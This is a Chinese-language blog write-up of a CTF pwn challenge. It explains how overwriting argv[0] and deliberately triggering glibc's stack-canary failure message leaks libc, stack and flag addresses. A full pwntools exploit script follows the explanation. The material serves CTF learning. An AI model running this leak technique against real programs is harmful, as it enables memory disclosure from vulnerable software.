MCTF 猜猜flag 2

介绍

闲着无聊,换了新博客,写点东西。还是MCTF的一道pwn题,和之前网鼎杯那道GUESS基本一样。

分析程序

逻辑和漏洞都很简单,fork四次,每次都有一个gets的任意长度读。其中flag已经读到了stack上。

漏洞利用

保护如下,有Canary,所以栈溢出就没啥办法了。

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用之前学到的一个技巧,恶意触发Canary的保护,在___stack_chk_fail()函数中,就会执行到__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>"),我们只需要覆盖了argv[0]就可以得到一个任意地址的读了。

首先,利用got表,leak libc的地址。

其次,libc上有一个environ变量,保存着栈上的一个地址,也就leak了stack的地址。

最后,gdb看一下flag的offset,直接leak出来就可以了。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

p = process('./pwn5.dms')
elf = ELF('./pwn5.dms')
libc = ELF('./libc-2.23.so')
# p = remote('123.206.131.120',10005)

# leak libc
p.recvuntil('flag?\n')
p.sendline(p64(elf.got['puts'])*100)
p.recvuntil('***: ')
puts_addr = u64(p.recv(6) + '\x00\x00')
libc_addr = puts_addr - 456336 # puts offset
environ = libc_addr + 0x3c6f38
p.info('puts_addr: 0x%x' % puts_addr)
p.info('libc_addr: 0x%x' % libc_addr)
p.info('environ: 0x%x' % environ)

# leak stack
p.recvuntil('flag?\n')
p.sendline(p64(environ) * 100)
p.recvuntil('***: ')
stack_addr = u64(p.recv(6) + '\x00\x00')
p.info('stack_addr: %x' % stack_addr)

# leak flag
stack_addr -= 360 # flag offset
p.recvuntil('flag?\n')
p.sendline(p64(stack_addr) * 100)
p.recvuntil('***: ')

flag = p.recvuntil('terminated')[:-11]
p.info('flag: %s' % flag)
p.close()

参考资料:

Canary: http://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/

environ: https://github.com/Naetw/CTF-pwn-tips#leak-stack-address